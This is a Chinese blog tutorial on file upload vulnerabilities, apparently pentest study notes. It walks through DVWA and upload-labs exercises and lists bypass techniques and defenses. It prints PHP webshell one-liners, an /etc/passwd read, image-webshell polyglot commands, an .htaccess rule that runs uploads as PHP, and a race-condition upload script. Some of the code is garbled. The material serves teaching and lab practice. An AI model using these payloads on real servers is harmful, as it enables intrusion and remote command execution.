渗透测试之文件上传漏洞

原创

黑白自渡 于 2021-03-06 12:37:37 发布 860 收藏 3

分类专栏： 渗透测试 文章标签： 安全 经验分享 面试 程序人生 其他

本文链接：https://blog.csdn.net/weixin_45380284/article/details/114436897

文件上传漏洞

理论：

文件上传：

用户提交文件到web服务器。

文件上传本身没有问题，问题是文件被上传到哪里，上传之后，服务器如何处理、解释文件。

文件上传漏洞产生的原因;

web服务器的文件上传功能在程序设计上的逻辑缺陷

web服务器无法区分识别上传文件的内容和格式

web服务器对文件上传的路径和位置控制不严格

服务器对所上传文件的读、写、执行、和所继承的权限设计不严格

文件上传检查不严

文件上传后修改文件名时处理不当

第三方插件的引入

文件上传漏洞入侵服务器的流程：

1.攻击者分析web站点是否存在缺陷、

2.存在缺陷，则上传含有恶意代码的文件

3.上传成功，返回文件路径

4.通过文件包含和命令执行的方式执行恶意代码

5.对服务器进行入侵破坏

文件上传漏洞危害方式：

上传文件为病毒木马时，可以诱骗用户下载执行或自动运行

上传文件是webshell时，攻击者可以通过网页后门执行命令

上传文件是恶意图片时，图片中可能包含了恶意脚本，加载或点击这些图片时脚本可能会悄无声息的执行

上传文件是伪装成正常后缀的恶意脚本时，攻击者可以借助文件包含漏洞执行该文件。

文件上传漏洞实例

文件上传漏洞实例一

实验坏境：
dvwa
中国菜刀

进入dvwa安全级别设置为low

点击file upload,进入测试页面

任意上传文件，了解文件上传的路径

编写恶意文件：

<?php phpinfo(); ?> <?php passthru($_GET[cmd]) ?> <?php readfile("/etc/passwd");echo"
";?> <?php passthru("ls-FR/|grep'/$'");echo'
';?>
上传文件并记录文件的上传路径
在浏览器中构建url执行恶意代码：

编写一句话木马，并保存为hack.php文件

<?php @eval($_POST['dvwa']);?>
上传文件，并记录文件的上传路径

打开中国菜刀，在地址栏中填入记录好的文件路径，参数名为dvwa参考地址如下：
http://192.168.1.10/master/vulnerabilities/uoload/…/…/hackable/uploads/hack.php

获取webshell权限，访问服务端文件

文件上传漏洞实例二

实验坏境：
dvwa

进入dvwa安全级别设置为medium

点击file upload,进入测试页面

查看原代码，发现对上传的文件做了限制
上传文件的类型为图片：jpg或png
上传文件的大小为100000byte

方案一：
可将恶意代码文件名修改为.jpg或.png 如：info.php.jpg

实验步骤：同实例一

方案二
利用burpsuit
将浏览器和burpsuit设置好代理

构造恶意PHP文件，在浏览器中点击upload

此时在burp suit 中对upload数据包重新构造：
将content-type:text/plain修改为：content-type:image/jpeg

修改完成后点击forward，完成数据提交过程，此时浏览器显示成功上传info.php 文件

此时记录文件的上传路径
在浏览器中构建url执行恶意代码

文件上传漏洞实例三

实验坏境：
dvwa

进入dvwa安全级别设置为high

点击file upload,进入测试页面

编写一句话木马，保存为hack.php文件

<?php @eval($_POST['dvwa']);?>
使用copy命令将一句话木马文件hack.php与任意图片1.jpg进行合并
具体命令如下：
copy 1.jpg/b+hack,php/a hack,jpg

查看文件，发现一句话木马是否在该图片文件中

上传文件，并记录文件的上传路径

打开中国菜刀，在地址栏填入，。上传文件的路径，参数名为dvwa,这里使用文件包含漏洞来完成攻击，参考地址如下：
http://192.168.1.10/master/vulnerabilities/fi/?page=file:///…/…//uploads/hack.jpg

获取webshell权限，访问服务器端文件

文件上传漏洞绕过技巧总结：

1.客户端javascript检测绕过

这类检测通常就是在上传页面里含有专门检测文件上传的javascript代码，最常见就是检测拓展名是否合法：

1.在前端javascript代码中，白名单中添加需要上传的文件后缀。

2.删除掉调用的验证文件后缀的函数
首先观察到提示只允许上传图片文件，那么前端的查看代码，当页面发生改变时，会调用这个checkFileExt函数来检查上传的是不是图片，我们只需要在前端将checkFileExt函数删除，就能上传一个一个非图片文件。

3.用抓包工具将可以上传的文件格式修改为需要上传的文件格式
可以使用burpsuit，但是注意要先把木马改成图片格式，才能进行抓包，再进行更改，将数据包中上传的木马文件后缀改回去即可

2.服务器端验证绕过（MIME类型检测）

什么是MIME:
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式。
应用在php中可以对很多文件的扩展名进行限制

MIME组成：
每个MIME类型由两部分组成，前面是数据的大类别，例如声音audio、图象image等，后面定义具体的种类

常见的MIME类型（通用型）
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream

```
**这种漏洞一般在全局数组$_FILES这里**
通过使用 PHP 的全局数组 $_FILES，你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的 input name，
第二个下标可以是 "name", "type", "size", "tmp_name" 或 "error"。
 $_FILES["file"]["name"] - 被上传文件的名称
 $_FILES["file"]["type"] - 被上传文件的类型
 $_FILES["file"]["size"] - 被上传文件的大小，以字节计
 $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
 $_FILES["file"]["error"] - 由文件上传导致的错误代码
 详细可参考：http://www.w3school.com.cn/php/php_file_upload.asp
```

代码逻辑分析：
首先会获取到前端的提交请求，然后定义了一个数组（定义图片上传指定类型），然后通过upload_sick函数对上传的文件进行一定的检查。
分析upload_sick函数存在漏洞的的原因是因为 $ _FILES()
这个全局的方法是通过浏览器http头去获取的content-type，content-type是前端用户可以控制的。容易被绕过。

绕过方法：
上传一张正常的符合标准的图片，对其content-type进行抓包操作。可见正常上传符合要求的图片中数据包中content-type为image/png（对比符合条件），而php文件则不符合条件返回文件类型错误。

上传一个PHP木马文件，对其content-type进行抓包操作，将数据包中content-type改为image/png，此时发送数据包，发现上传木马成功。

3. 代码注入绕过get image size绕过

功能：
getimagesize() 函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING级的错误信息，如果用这个函数来获取类型，从而判断是否是图片的话，会存在问题。

语法：
array getimagesize (string KaTeX parse error: Expected 'EOF', got '&' at position 19: …ename [, array &imageinfo])
getimagesize() 函数将测定任何
GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP
图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

绕过方法：
总结：将一句话木马与图片结合之后在上传。
1.直接伪造头部GIF89A
2.使用工具直接在图片中增加备注写入一句话木马（edjpgcom）
3. CMD方法合并图片与木马，copy /b test.png+1.php muma.png
在cmd指令中cd进入目录
copy /b test.png+1.php muma.png
结合PHP与图片成为新的图片上传到服务器

但是这时候有个问题，这个文件时.png文件不是php文件，没法解析执行，就没法连接到菜刀，之后就需要结合包含漏洞(不论什么图片都当做php脚本执行)来调用这个文件、或者利用中间件解析漏洞。

需要木马图片文件，文件上传漏洞与解析漏洞或本地包含漏洞结合获取webshell，在CMD方法中第一次认识到了各个漏洞之间相互帮助的意义，之前学的基本都是单个漏洞

4.路径/扩展名绕过

白名单：
0x00截断或test.asp%00.jpg

0x00截断（16进制空格）

使用情况
遇到对文件统一进行随机重命名（例如利用时间戳），或限制其类型的情况下
$ext_arr = array('jpg','png','gif');
5 $file\ xt= substr(\ _FILES['upload_file']['name'],strrpos(\$_FILES['upload_file']['name'],".")+1);

解读：
name = getname(http request) //假如这时候获取到的文件名是test.asp .jpg(asp 后面为0x00)
type = gettype(name) //而在gettype()函数里处理方式是从后往前扫描扩展名，所以判断为jpg
if (type == jpg)SaveFileToPath(UploadPath.name, name) //但在这里却是以0x00 作为文件名截断//最后以test.asp 存入路径里

不过这需要对文件有足够的权限（对路径的可修改权限），
比如说创建文件夹，上传的文件名写成1.jpg,

在burp中修改save_path改成…/upload/1.php%00

（注意有时候修改路径的地方是不确定的，需要依照情况自己找可以修改的路径）

也就是说服务器读取的全部命令是…/upload/1.php%00 /1.jpg,只不过会把%00及之后的东西删除
(1.php%00.jpg经过url转码后会变为1.php\000.jpg)，最后保存下来的文件就是1.php

既然限制了文件名，那我们只好在路径上做一些改动，文件名虽然是符合标准的，经过截断之后，用于绕过文件名限制的图片格式名称就会被截断，有点工具名那意思，用完了.jpg就杀掉了，把有用的.php伪装成目录藏起来，经过截断处理才显露原形

修复建设： php版本要小于5.3.4，5.3.4及以上已经修复该问题；magic_quotes_gpc需要为OFF状态 MIME绕过

MIME绕过

黑名单
1.文件大小写绕过
（文件后缀名使用大小写）
防御：统一转换为小写

2. 名单绕过
   比如黑名单里没有
   .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件之类

值得注意的一点，如果黑名单里没有.htacess 则可以新建后缀为.htacess的文件编写以下代码：
<FilesMatch"">
SetHandler application/x-httpd-php

此代码作用：
用户上传的所有文件都以php执行
再上传一个含着木马的图片就可以连接菜刀了

php和windows环境的叠加绕过文件上传
利用PHP 和 Windows环境的叠加特性，以下符号在正则匹配时的相等性，此方法需要上传两次
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
先上传一个名为4.php:.jpg的文件，上传成功后会生成4.php的空文件，大小为0KB一句话木马并没有写入.
然后在重发器将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传，重写4.php文件内容，Webshell代码就会写入原来的4.php空文件中。

点和空格突破文件上传
利用Windows系统的文件名特性。文件名最后增加空格和点，写成1.php .，这个需要用burpsuite抓包修改，上传后保存在Windows系统上的文件名最后的一个.会被去掉，实际上保存的文件名就是1.php

防御: 首尾去空格，删除文件名末尾的点
再次突破使用
文件名+点+空格+点

5. windows文件流 ::
   $DATA绕过是Windows下NTFS文件系统的一个特性，即NTFS文件系统的存储数据流的一个属性DAT

防御：
去除字符串：：$DATA： $file_xt = str_replace(:DATA','"$file_ext")

双写文件扩展名绕过

由于 $= str\ replace(\text{deny\_ext},"", \$\text{file\_name})$

二次渲染绕过

二次渲染与检测大概流程

获得上传文件的基本信息，文件名，类型，大小，临时文件路径 // 获得上传文件的扩展名 //判断文件后缀与类型，合法才进行上传操作

//使用上传的图片生成新的图片

$im= imagecreatefromjpeg(\text{target\_path});$
//给新图片指定文件名 //显示二次渲染后的图片（使用用户上传图片生成的新图片）

原理：

将一个正常显示的图片，上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分，将Webshell代码插在该部分，然后上传。具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

操作：

这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例。

php图像二次渲染：
https://blog.csdn.net/hitwangpeng/article/details/48661433
https://blog.csdn.net/hitwangpeng/article/details/46548849
https://xz.aliyun.com/t/2657

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。
直接上传示例文件会触发Warning警告，并提示文件不是jpg格式的图片。但是实际上已经上传成功，而且示例文件名没有改变。
https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/bypass-imagecreatefromjpeg-pass-LandGrey.jpg

也需要与其他漏洞结合使用

6. 时间竞争条件绕过

   原理：

   服务器先允许你上传文件，然后检测是否合法，不合法再删除，我们要利用的就是在服务器删除前，访问到我们上传的php。

方法：
利用条件竞争删除文件时间差绕过。使用命令pip installhackhttp安装hackhttp模块，运行下面的Python代码即可。如果还是删除太快，可以适当调整线程并发数。

```
1 #!/usr/bin/env python
2 # coding:utf-8
3
4
5 import hackhttp
6 from multiprocessing.dummy import Pool as ThreadPool
7
8
9 def upload(lists):
10 hh = hackhttp.hackhttp()
11 raw = “”“POST /upload-labs/Pass-17/index.php HTTP/1.1
12 Host: 127.0.0.1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
16 Accept-Encoding: gzip, deflate
17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
18 Cookie: pass=17
19 Connection: close
20 Upgrade-Insecure-Requests: 1
21 Content-Type: multipart/form-data; boundary=--------------------------6696274297634
22 Content-Length: 341
23
24 ----------------------------6696274297634
25 Content-Disposition: form-data; name=“upload_file”; filename=“17.php”
26 Content-Type: application/octet-stream
27
28 <?php assert($_POST["LandGrey"])?>
29 ----------------------------6696274297634
30 Content-Disposition: form-data; name=“submit”
31
32 上传
33 ----------------------------6696274297634–
34 “””
35 code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php‘, raw=raw)
36 print(str(code) + “\r”)
37
38
39 pool = ThreadPool(10)
40 pool.map(upload, range(10000))
41 pool.close()
42 pool.join()
```

使用burp实现

操作：
选定上传文件
选定test.php进行上传，其中内容是生成包含一句话木马的qing.php文件

```
<?php
```

$myfile = fopen(“qing.php”, “w”);

$txt= ”<

这里我上传我的tj.php，然后不停的访问test.php上传后的地址，即http://www.hack_upload.com/upload/test.php
这里使用两个发包器，一个包是上传我们test.php的包，一个是访问我们上传test.php后的地址

上传：
抓包，点击上传
将包发到include
positions
清除变量
payloads
在payload中payload type 为空
generate payloads 为3000 生成有效负载
options
number of threads线程100

访问：
输入http://www.hack_upload.com/upload/test.php
抓包 送到include
positions
清除变量
payloads
在payload中payload type 为空
generate payloads 为3000 生成有效负载
options
number of threads线程100
同时开始两个攻击
再通过浏览器直接访问生成的文件ping.php路径就可以了，注意不是test.php文件

重命名竞争与Apache解析漏洞绕过
重命名竞争
上传名字为18.php.7Z的文件，快速重复提交该数据包，会提示文件已经被上传，但没有被重命名
快速提交上面的数据包，可以让文件名字不被重命名上传成功
然后利用Apache的解析漏洞，即可获得shell
（感觉跟时间竞争漏洞有异曲同工之处）

双写文件上传绕过
上传抓包
修改第一个文件的扩展名php
content-disposition 文件名[0]
修改第二个文件名扩展名php
content-disposition 文件名[2]
拷贝第二个文件名与紧贴的一行
黏贴到content-disposition 文件名[2]下一行
将拷贝后的第二个文件整个替换成jpg

文件上传漏洞防护解析：
在文件上传的页面源代码中增加校验，加密，和图片重建功能
增加token校验
对文件名进行MD5加密重命名
重建图片，使隐藏在图片中的恶意代码被重新编码

注意
（如果上传的文件若被安全检查、格式化、图片压缩等功能改变了内容，也有可能导致攻击不成功）

（如果攻击者无法通过web访问上传的文件，或者无法得到web容器解释这个脚本，则也不能称之为漏洞）

防护措施：

服务端对上传文件的内容和后缀名严格检查或重建
服务器端限制web容器解释或执行上传的文件
服务器端对上传文件做mimetype检查
服务器限制上传文件，或限制上传文件目录或权限
服务器端设置文件上传和读取等操作只能在限定目录或路径中
对上传后的文件内容或文件名进行格式化/加密，不回显文件名或路径
严格限定从web客户上可以访问的文件权限